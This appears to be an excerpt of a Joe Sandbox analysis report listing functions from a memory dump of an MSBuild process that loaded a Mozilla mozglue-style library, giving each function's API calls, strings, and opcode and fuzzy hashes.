Part of subcall function 6BCCD850: LeaveCriticalSection.KERNEL32(?), ref: 6BCCD971
Part of subcall function 6BCCD850: memset.VCRUNTIME140(?,00000000,?), ref: 6BCCD97B

mozalloc_abort.MOZGLUE(?), ref: 6BCAF209

Strings

d, xrefs: 6BCAF1F5

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: 5580bdecd60d50d5580f8fc6c6ca82f0af68ab0eac4ffe1245db9c2e486ed056
Instruction ID: bde39943a444653b8b955b9aae2107087f02d20848200586a9f0b57af23e2fdf
Opcode Fuzzy Hash: 5580bdecd60d50d5580f8fc6c6ca82f0af68ab0eac4ffe1245db9c2e486ed056
Instruction Fuzzy Hash: DD113A32E2164A8BEB048F68D9621BEF765DF96308B41522DDD05EB211FB74DB84C390

Function 6BCBCA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6BCBCA26

Part of subcall function 6BCBCAB0: EnterCriticalSection.KERNEL32(?), ref: 6BCBCB49
Part of subcall function 6BCBCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6BCBCBB6

mozalloc_abort.MOZGLUE(?), ref: 6BCBCAA2

Strings

d, xrefs: 6BCBCA6C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: 204eba1aa1cce4515cb58419272b6c150fe53816436eb723639315e5ea0b69fb
Instruction ID: a8c51b30383c88e27443a108dd130461c5783e1dab6bba06466a5cd5dd4c1437
Opcode Fuzzy Hash: 204eba1aa1cce4515cb58419272b6c150fe53816436eb723639315e5ea0b69fb
Instruction Fuzzy Hash: 23110431E2069893EB01CB68C8511FEF375EFA6204F459229DD59AB212FB78E6C5C390

Function 6BCC1A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6BCC1A6B

Part of subcall function 6BCC1AF0: EnterCriticalSection.KERNEL32(?), ref: 6BCC1C36

mozalloc_abort.MOZGLUE(?), ref: 6BCC1AE7

Strings

d, xrefs: 6BCC1AB1

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 03b5930ccfc970b52cb3ab906988c653f7d73a6a6cf3f4a26bd647e15ea9daaa
Instruction ID: 14a5358e133a84874905406b7d3e89b11c7e61437ac5e2b4cceca1ae1617a05f
Opcode Fuzzy Hash: 03b5930ccfc970b52cb3ab906988c653f7d73a6a6cf3f4a26bd647e15ea9daaa
Instruction Fuzzy Hash: 9D113631E2069C93DB048BADC8114FEF375EFA5204F458619DD495B212FB74E6C5C381

Function 6BCB4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6BCB44B2,6BD2E21C,6BD2F7F8), ref: 6BCB473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6BCB474A

Strings

GetNtLoaderAPI, xrefs: 6BCB4744

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8cf78cfe70d904afd4fb0e7b51ae1123d77cd96b8e69342633ed8b25cee98c33
Instruction ID: c43c233f135df8095ee6fe47f904ae988e485e6f40126292f4fc4e2892e44237
Opcode Fuzzy Hash: 8cf78cfe70d904afd4fb0e7b51ae1123d77cd96b8e69342633ed8b25cee98c33
Instruction Fuzzy Hash: 3C01DE752042549FEF04AFA6C88461DFBA9EF8B361B04406AEB05DF300EB78D801CFA1

Function 6BD06DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6BD06E22
__Init_thread_footer.LIBCMT ref: 6BD06E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6BD06E1D

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e1b7f56af74f9a75e736b44e936ca6a90f56e598a89dac979f73a5f48831f055
Instruction ID: 1f45eb0d9bbf7c445071203e7b564d8e02d45768be8c2282003cb7d930b2644d
Opcode Fuzzy Hash: e1b7f56af74f9a75e736b44e936ca6a90f56e598a89dac979f73a5f48831f055
Instruction Fuzzy Hash: ADF024344043C0CBFA008F78CB50A49B761D763A3AF0445A6C7400E251DB39E586DB63

Function 6BCB9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6BCB9EEF

Strings

NaN, xrefs: 6BCB9EC1
Infinity, xrefs: 6BCB9EB7

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: d0446ea410c3088e3be17637aad1765902862aef2e094e1069059e30e0be58d9
Instruction ID: 42f70a5360b7dd978c2eabc8ecd949598c898f78f9cdbb0d08669907d18f0a08
Opcode Fuzzy Hash: d0446ea410c3088e3be17637aad1765902862aef2e094e1069059e30e0be58d9
Instruction Fuzzy Hash: 08F049704116C1CBFB008F68EA45B96B761B797729F600E5ADF0C0E241E779B686CB92

Function 6BD05900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6BD251C8), ref: 6BD0591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6BD0592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6BD05915

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 9c0d6d15b832a79b621bf3ff9733013cb030e2d0529d7fb199626f0e6fe89ac6
Instruction ID: 56b0e9ff33b0db8f60d3551764ec97cbff50954d53215c5586ffab49d11531f7
Opcode Fuzzy Hash: 9c0d6d15b832a79b621bf3ff9733013cb030e2d0529d7fb199626f0e6fe89ac6
Instruction Fuzzy Hash: 89E01230104280E7EB018B68D548745BFD4AB1773EF044545EBA99B6D1C7B9984487A1

Function 6BCBBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6BCBBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6BCBBEF5

Strings

cryptbase.dll, xrefs: 6BCBBEF0

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: ca417dde187460f39629245dfa56a6f767746ad1f3300f25519bda6fd7d8e382
Instruction ID: 8af70f177901024ad5bd544e54da7293506d4f7ba31ea6b4b0b6eed645aad6ec
Opcode Fuzzy Hash: ca417dde187460f39629245dfa56a6f767746ad1f3300f25519bda6fd7d8e382
Instruction Fuzzy Hash: 3DD0C731194188EBE6406B918D05B197764E701725F10C021F755585A1D7F5E554CF54

Function 6BCA50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BCA4E9C,?,?,?,?,?), ref: 6BCA510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BCA4E9C,?,?,?,?,?), ref: 6BCA5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6BCA5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BCA4E9C), ref: 6BCA5234

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: b390e69216c9c92b6359c7f8abb16e019f72f0cd87bc81ae513e8d54f1444795
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 0191BE75915602CFCB14CF08C4A0A5ABBA1BF89318B18C598EE589F316E335FD42CBE0

Function 6BCE08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E7DC), ref: 6BCE0918
LeaveCriticalSection.KERNEL32(6BD2E7DC), ref: 6BCE09A6
EnterCriticalSection.KERNEL32(6BD2E7DC,?,00000000), ref: 6BCE09F3
LeaveCriticalSection.KERNEL32(6BD2E7DC), ref: 6BCE0ACB

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 921c15472f1724b2295fecdf4e52b8fe6aee0643e2167e399c627f008bb2cffd
Instruction ID: 95b4c86b4f78ab10ac0022fde77ec2c2e25ee8593e9221c39bb1b0339f57b06b
Opcode Fuzzy Hash: 921c15472f1724b2295fecdf4e52b8fe6aee0643e2167e399c627f008bb2cffd
Instruction Fuzzy Hash: 81514B36B31654CBFB089E65C441625B3A1FB82B34714427ADA759B780FF39EE0287E0

Function 6BD059C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6BCDE56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6BD05A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6BCDE56A,?,|UrlbarCSSSpan), ref: 6BD05A5C
free.MOZGLUE(?), ref: 6BD05A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6BD05B9D

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 21df6fc04424b6ea28d78d09ca761e6cbfaf6c202682b933d274ce3bc72812b6
Instruction ID: 312db6c05caf0543655dfe1df2a729270342b4c468884dfe191b85a108384166
Opcode Fuzzy Hash: 21df6fc04424b6ea28d78d09ca761e6cbfaf6c202682b933d274ce3bc72812b6
Instruction Fuzzy Hash: 31513F705087409FD700CF29C8C071BB7E5EF8A728F04896EE9899F246DB78E945DB66

Function 6BCFB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6BCFB2C9,?,?,?,6BCFB127,?,?,?,?,?,?,?,?,?,6BCFAE52), ref: 6BCFB628

Part of subcall function 6BCF90E0: free.MOZGLUE(?,00000000,?,?,6BCFDEDB), ref: 6BCF90FF
Part of subcall function 6BCF90E0: free.MOZGLUE(?,00000000,?,?,6BCFDEDB), ref: 6BCF9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6BCFB2C9,?,?,?,6BCFB127,?,?,?,?,?,?,?,?,?,6BCFAE52), ref: 6BCFB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6BCFB2C9,?,?,?,6BCFB127,?,?,?,?,?,?,?,?,?,6BCFAE52), ref: 6BCFB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6BCFB127,?,?,?,?,?,?,?,?), ref: 6BCFB74D

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 07975d39bf744032892046dc3b4e6484fab5b8c0083347e0b6eb8480eca19436
Instruction ID: c67c028532cc44e64854366926a78dbc79bd1d071ad77d9fa465cf9ca64dda7f
Opcode Fuzzy Hash: 07975d39bf744032892046dc3b4e6484fab5b8c0083347e0b6eb8480eca19436
Instruction Fuzzy Hash: 3C51C071A11616CBDF58CF58C98065EB7B9FF45700F0584AAC95AAB300EB34EA06CBA1

Function 6BCB23D8 Relevance: 5.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9cff11dbfa43176f51a1ae23ed12c65bf55134e375d0e9054fdadbc92286bc
Instruction ID: c8278ec85be9c1243bfd11358be552196c6e234b1230f0c3d1a9b5c9d5fba061
Opcode Fuzzy Hash: ad9cff11dbfa43176f51a1ae23ed12c65bf55134e375d0e9054fdadbc92286bc
Instruction Fuzzy Hash: 77519EB1A112068FDB04CF59C9A0B8EBFB1BF08314F158269D9199F341E775EA95CF90

Function 6BCFDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6BCEFF2A), ref: 6BCFDFFD

Part of subcall function 6BCF90E0: free.MOZGLUE(?,00000000,?,?,6BCFDEDB), ref: 6BCF90FF
Part of subcall function 6BCF90E0: free.MOZGLUE(?,00000000,?,?,6BCFDEDB), ref: 6BCF9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BCEFF2A), ref: 6BCFE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BCEFF2A), ref: 6BCFE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6BCEFF2A), ref: 6BCFE0FE

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: aa39e12f113407deced356bec4eb72864ba42bbe8ec8d0d446adf2725fca2606
Instruction ID: 99506a50733938af451cc0bd4c945e9b611034a02611ef1bea3035ea9dbf4d95
Opcode Fuzzy Hash: aa39e12f113407deced356bec4eb72864ba42bbe8ec8d0d446adf2725fca2606
Instruction Fuzzy Hash: A541D0B16242178FEB54CF68C88035A73AAFF45704F1549B9D616DB340F739EA06CB92

Function 6BD06180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6BD061DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6BD0622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6BD06250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BD06292

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 55077daae61a6c27803bbeba8117d679d11bd18a27e88d6311ab02970d777f1a
Instruction ID: d229559ca818ff6907b187d7dc1efc69fd725116ec20ac549a6892b4bc162cc3
Opcode Fuzzy Hash: 55077daae61a6c27803bbeba8117d679d11bd18a27e88d6311ab02970d777f1a
Instruction Fuzzy Hash: 7E312671E0060A8FDB04CF38D880AAA73E9FF95314F10417AD55ACF251EB35E698C750

Function 6BCF6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6BCF6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6BCF6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6BCF6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCF6F5C

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: d4bc392cb1c6a2b57be6451d18fb413f947cbf45f0296c0deb613633c0ea1f2c
Instruction ID: 8026da5d1c8d94032dfa7f23f2e0f957c1e7c7e40099fbc322ac37c7dc1b5be4
Opcode Fuzzy Hash: d4bc392cb1c6a2b57be6451d18fb413f947cbf45f0296c0deb613633c0ea1f2c
Instruction Fuzzy Hash: 1B31E771A10A0A8FEB44CF2CC9407AA73E9EF85300F5441B9D41ACB251FB35E65AC790

Function 6BD0B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6BCB0A4D), ref: 6BD0B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6BCB0A4D), ref: 6BD0B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BCB0A4D), ref: 6BD0B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6BCB0A4D), ref: 6BD0B67F

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 05d38f8d14d5d3c0010d42aef429997dabd6ac230eb32f1fd3fe9c20b53eea7c
Instruction ID: a6e1c10de751774093013db56a19f082752d7b39fb126b52ad1650e1d8559eef
Opcode Fuzzy Hash: 05d38f8d14d5d3c0010d42aef429997dabd6ac230eb32f1fd3fe9c20b53eea7c
Instruction Fuzzy Hash: D931F6B1904215CFEB10CF58C84465AF7A9FF81320F468569C8069F241EF75E915CBE0

Function 6BCBBBE0 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BCBBBF4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BCBBC66
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BCBBC96
memcpy.VCRUNTIME140(00000000,00000010,0000001F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCBBCCE

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: b8736a8282de22123a7cc212c3fca0913d4fa09f2206c9deaed4bb62f5e3a724
Instruction ID: 31320aecaa85a925c9c6d119c76dfeef544704961889c891dc6ca4c8ac21e3d1
Opcode Fuzzy Hash: b8736a8282de22123a7cc212c3fca0913d4fa09f2206c9deaed4bb62f5e3a724
Instruction Fuzzy Hash: DE214371B206084BF710CF79CCC532EB2E9EB81344F144939DA9ADA391FE74EA848361

